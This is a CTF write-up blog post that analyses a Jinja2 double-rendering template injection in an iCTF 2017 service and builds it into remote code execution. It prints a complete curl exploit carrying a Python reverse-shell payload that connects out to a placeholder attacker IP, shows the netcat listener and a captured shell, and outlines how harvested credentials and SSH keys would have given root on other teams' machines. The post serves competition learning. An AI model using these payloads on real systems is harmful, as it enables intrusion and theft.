iCTF 2017 flasking unicorns writeup - Or how we might have rooted your iCTF VM

Okay, I admit that the headline is a bit click-baity, but flasking unicorns had a fancy RCE and there might have been a way to become root on your opponent's iCTF VM.

Table of Contents

About the iCTF

A week ago was the iCTF 2017. The iCTF is well-known for its unusual approaches and setups when it comes to attack-defense CTFs. ENOFLAG has always been a fan of the iCTF, but didn't manage to participate in last year's edition, so we didn't want to miss this one.

This time, the iCTF organizers hosted the vulnerable VMs for all teams, so there was no need for custom network or system configuration. That was really cool, but came with the downside of not having the freedom of fully managing your VM (e.g. reboots).

In contrast to other attack-defense CTFs, such as the RuCTFe, the network was open from the beginning. No 1-hour grace period for getting used to the system or services.

In addition to all that, the iCTF team publishes an ictf python package. One is required to use this package to communicate with the organizers to get a list of possible targets, a list of vulnerable services or to submit flags.

The registration process as well as the download of the VM's SSH keys was realised using this python package. This will be important later...

After the whole 8h academic time period, ENOFLAG secured the 8th (of 78) place in the academic field and the 12th (of 317) in the public ranking.

Flasking unicorns

I didn't really work on this service, so I can't say much about it. I was later called by my colleagues to help develop an exploit for it. So I'm going to focus on this part.

My colleagues were monitoring the apache access log and noticed some requests with suspicious parameters:

GET /?next={{request....}}

One of them remembered that I've solved the Zumbo3 @ BsidesSF CTF web challenge with a template injection vulnerability.

After having a quick look on the access log, I confirmed that this was indeed a template injection attack.

Now that we knew that someone tried (or successfully started) to exploit our service, we were in a hurry to find the root cause, fix it ourselves and write an exploit for it.

We quickly managed to identify the developer's mistake:

The ?next parameter is used in the get_safe_redirect() function which should return a safe url:

def get_safe_redirect():
    url = request.args.get('next')
    if url and is_safe_url(url):
        return url

    url = request.referrer
    if url and is_safe_url(url):
        return url

    return '/'

There was only one place where this function was used:

def make_background():
    return  render_template('background.html', redirect=get_safe_redirect(), content="{{content|safe}}")

make_background() seems to render a background.html template using our next value as the redirect parameter. A look in the template file confirms that the parameter is used:

{% if redirect %}
    <li style="float:right"><a href="{{redirect}}">Back</a></li>
{% else %}
    <li style="float:right"><a href="index.html">Back</a></li>
{% endif %}
[...]
{{content}}

This seems to be fine, {{redirect}} will use autoescape and output the parameter as text. The {{content}} expression would always turn into {{content|safe}} after rendering. The vulnerability has to be somewhere else!

Let's see where the rendered template is used. Searching for make_background returns a handful of matches. All are similar and work like this:

background = make_background()
[... route specific logic ...]
[... fg = render_template(...) ...]
return render_template_string(background, content=fg)

Note that this time render_template_string() is used. It does not load a template from a file, but uses the string in the first parameter as the template. In our case this is the result of the make_background() function, and thus an already rendered template.

The content parameter also contains the result of a render_template-call, but the "background"-template already knows how to handle this data ( {{content|safe}} ), so this should be fine.

It is not that obvious if you haven't done anything with template injections before, but the issue here is that the template is rendered two times. An attacker-controlled value might be handled and escaped correctly when rendered the first time, but might evolve into something severe when it is rendered a second time. This is similar to second-order SQL injections.

Here's what happens to the template step by step:

  1. GET parameter ?next={{2+3}} is passed to the background.html as the redirect parameter.
  2. The template engine replaces href="{{redirect}}" with href="{{2+3}}" in the make_background() function.
  3. The resulting template is then rendered with render_template_string(background, ...) again. Jinja2 sees a href="{{2+3}}"-block and does not know that his has previously been inserted by an attacker. It then decides that it looks like valid template code and thus executes it. The final result is then href="5".

At this point I copied the service's code to my local machine and started to develop a flag stealing exploit, whereas my colleagues started to fix the issue.

The flag stealing exploit was quickly finished, because most of the incoming attacks could be reused.

After that I started to work on a remote code execution (RCE) exploit, because it is possible to transform a Jinja2 template injection into a full RCE. I explained it a bit and linked to some resources in my last writeup.

I'm going to spoil my full reverse-shell PoC and explain it afterwards:

$> curl 'localhost:8088/?next={{request.__class__.__mro__[8].__subclasses__()[40](request.headers[request.headers.keys()[6]],request.headers[request.headers.keys()[6]][5]).write(request.headers[request.headers.keys()[4]])}}{{config.from_pyfile(request.headers[request.headers.keys()[6]])}}' -g -H "x-f: /tmp/w" -H 'x-p: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("REVERSE_SHELL_IP",REVERSE_SHELL_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

When REVERSE_SHELL_IP and REVERSE_SHELL_PORT are replaced with meaningful values (and a nc -l -s REVERSE_SHELL_IP -v -p REVERSE_SHELL_PORT is running), this should lead to a shell on the target system.
Note that the exploit depends on your requests version and might need adjustments.

$> nc -l -p 8099 -vv
Listening on any address 8099
Connection from 127.0.0.1:39328
sh-4.4$ id
id
uid=1000(gehaxelt) gid=1000(gehaxelt) Gruppen=1000(gehaxelt)
sh-4.4$ ls
ls
flasking_unicorns.cgi
flasking_unicorns.py
static
templates
util.py
util.pyc

So how does this work?

Everything starts with the /?next= parameter which contains our payload. We know that if it contains Jinja2 templating code, it will be executed.
The first important part is :

{{request.__class__.__mro__[8].__subclasses__()[40] 

As explained in other blogposts, this is used to obtain a reference to a <type file>. We will use this to write our payload to the target's system.

The next part are the two parameters for the file instance (similar to open(FILE, MODE) ):

(request.headers[request.headers.keys()[6]],request.headers[request.headers.keys()[6]][5]) 

I wanted to pass the file name and the payload as additional headers:

  • x-f: /tmp/w
  • x-p: print 1337

That method has the strong advantage of not giving away the file name and the payload in the access log, because usually only the request's URI is logged, but neither POST nor headers (except the useragent or referrer).

However, trying to access the values in the request.headers-dictionary with a string index lead to a 500 error. (e.g. using request.headers['x-f'] did not work).
Luckily, we can use request.headers.keys() to get a list of all the header names. Now we only have to find the right index. On my system it was 6, on our VM it was something else like 5 or so.

The second parameter is the opening mode. We need to pass a w for write access. I came up with the idea of simply using a w in the file name and then using the right index to access the character.

After obtaining a file-object-like handle, we can call .write on it:

.write(request.headers[request.headers.keys()[4]])}}

We use the same technique as above to access our x-p: [python code] header. The contents of that particular header are then written to the file passed in x-f.

The final step is to execute the newly created python file. This can be done with config.from_pyfile() by passing a file path:

{{config.from_pyfile(request.headers[request.headers.keys()[6]])}}

Now we're able to execute any python code on our target's vm.

The reverse shell payload is taken from pentest monkey's cheat sheet:

-H 'x-p: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8099));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Stealing all the flags

The funny thing about the remote code execution was, that it allowed us to steal arbitrary flags from other services, too.

This was due to a misconfiguration issue on the vulnerable VMs: All folders in the /opt/ictf/ were world-readable.
We modified the exploit a couple of times to steal some other service's flags ;)

Getting r00t

After finishing the general remote code execution exploit, I started to think about nastier things to do. Indeed, a colleague and I started to develop an exploit which would try to automate the stealing of all flags on the system. It did not really work as intended, and after asking my colleagues if I should continue to explore other winning strategies and them denying or ignoring it, I decided that my time might be more worth somewhere else.

In hindsight I think that this was the wrong decision, because I strongly believe that getting root on VMs vulnerable to this RCE might have been possible.
Here's why:

There was no "outside" network or VPN. That means, that all exploits had to be run on the VM itself.

All exploits most likely used the aforementioned ictf package to take advantage of the helper functions like get_target_list(). This, however, required a login with the team's credentials. That means that all exploits contained a line like t = ictf.login("team_email", "team_password").

The flasking unicorns service (and thus our exploit) ran with the www_flasking_unicorns user and group permissions. Apparently all files in the /opt/ictf/ folder were world-readable, so was /tmp/. (Unfortunately, I didn't check other path.)
So other team's exploits living in one of those directories most likely had word-readable permissions, too.

An attacker who obtained another team's credentials could then go on and download the victim's ssh keys with the ictf.get_sshkeys() functionality. After that it's just a matter of ssh -p victim-port -i victim-key root@victim-ip to get root access to the VM.

Having root on another team's VM opens up uncountable possibilities... I leave that up to your imagination.

Conclusion

As you can see, it might or might not have been possible to root other teams' VM. I think this shows that it is quite important to have a quick glance at the VM's configuration.

A way to fix this might be to let people choose a separate SSH key password when registering a team.

I had a lot of fun and enjoyed exploiting this vulnerability as well as the overall organization of the CTF. Compared to other years it was quite smooth :)

If you read the blogpost until here and you solved an iCTF service, I encourage you to write and share a writeup on ctftime.org.

-=-